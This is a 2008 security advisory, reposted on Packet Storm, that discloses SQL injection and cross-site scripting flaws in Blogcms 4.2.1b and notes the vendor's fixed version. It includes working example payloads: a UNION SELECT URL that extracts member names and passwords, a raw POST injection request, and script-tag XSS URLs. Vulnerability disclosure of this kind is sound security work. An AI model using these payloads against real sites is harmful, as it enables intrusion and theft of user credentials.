exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DSECRG-08-003.txt

DSECRG-08-003.txt
Posted Jan 17, 2008
Authored by Sh2kerr, Stas Svistunovich | Site dsecrg.com

Blogcms version 4.2.1b suffers from SQL injection and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
SHA-256 | 7055b7f59b9b375b2ccf49e5707f2210d371270af651ca0fc33a90e6a5bddcf6

DSECRG-08-003.txt

Change Mirror Download

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-003


Application: Blogcms
Versions Affected: Blogcms 4.2.1b
Vendor URL: http://blogcms.com/
Bugs: SQL Injestions, SiXSS, XSS
Exploits: YES
Reported: 15.01.2008
Vendor response: 16.01.2008
Date of Public Advisory: 16.01.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Blogcms system has multiple security vulnerabilities:

1. Multiple SQL Injections
2. Multiple Linked XSS
3. Multiple Linked SiXSS



Details
*******

1. Multiple SQL Injection vulnerabilities


1.1 Attacker can inject SQL code in index.php. Parameter name "blogid"


Example:

http://[server]/[installdir]/index.php?query=asd&blogid=1,1)+union+select+1,2,user(),database(),mname,6,7,8,9,10,11,mpassword,13,14,15+from+nucleus_member/*



1.2 Attacker can inject SQL code in module /blogcms/action.php. POST parameter name "user"


Example:

POST /blogcms/action.php HTTP/1.0
Cookie: DokuWiki=g8m41hncjkfjkc4sb1lvmgbiu5
Content-Length: 139
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)
Host: 192.168.40.33
Pragma: no-cache
Connection: Keep-Alive

action=addcomment&url=http%3A%2F%2F192.168.40.33%2Fblogcms%2F%3Fitem%3Dblog-cms-4-2-1&itemid=1&body=asd&&userid=asd&x=42&y=13&user=asd'+[DSecRG_INJECTION]

-------------------------------------------------------------------------------


2. Multiple Linked XSS vulnerabilities

Linked XSS vulnerability found in /photo/admin.php and /photo/index.php attacker can inject XSS script in URL

Example:

http://[server]/[installdir]/photo/admin.php/"><script>alert('DSECRG_XSS')</script>

http://[server]/[installdir]/photo/index.php/"><script>alert('DSECRG_XSS')</script>



-------------------------------------------------------------------------------
3. Multiple SiXSS (XSS throught SQl Injection Error) vulnerabilities


3.1 Linked SiXSS vulnerability found in index.php, attacker can inject XSS code in SQL Error

Example:

http://[server]/[installdir]/index.php?query=asd&amount=0&blogid=1'<script>alert('DSecRG_XSS')</script>;&x=34&y=6



3.1 Linked SiXSS vulnerability found in /admin/plugins/table/index.php, attacker can inject XSS code in SQL Error

It is also a SQL injection but because it is in admin panel it is not critical.

Example:

http://[server]/[installdir]/admin/plugins/table/index.php?action=edittemplate&field=title'<script>a=/DSecRG XSS/%0d%0aalert(a.source)</script>&id=2&text=0

-------------------------------------------------------------------------------



Fix Information
***************

Blogcms was altered to fix this flaw on 16.01.2008. Updated version (4.2.1.c) can be downloaded here:

http://blogcms.com/?item=download

Changelog: http://blogcms.com/wiki/changelog



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close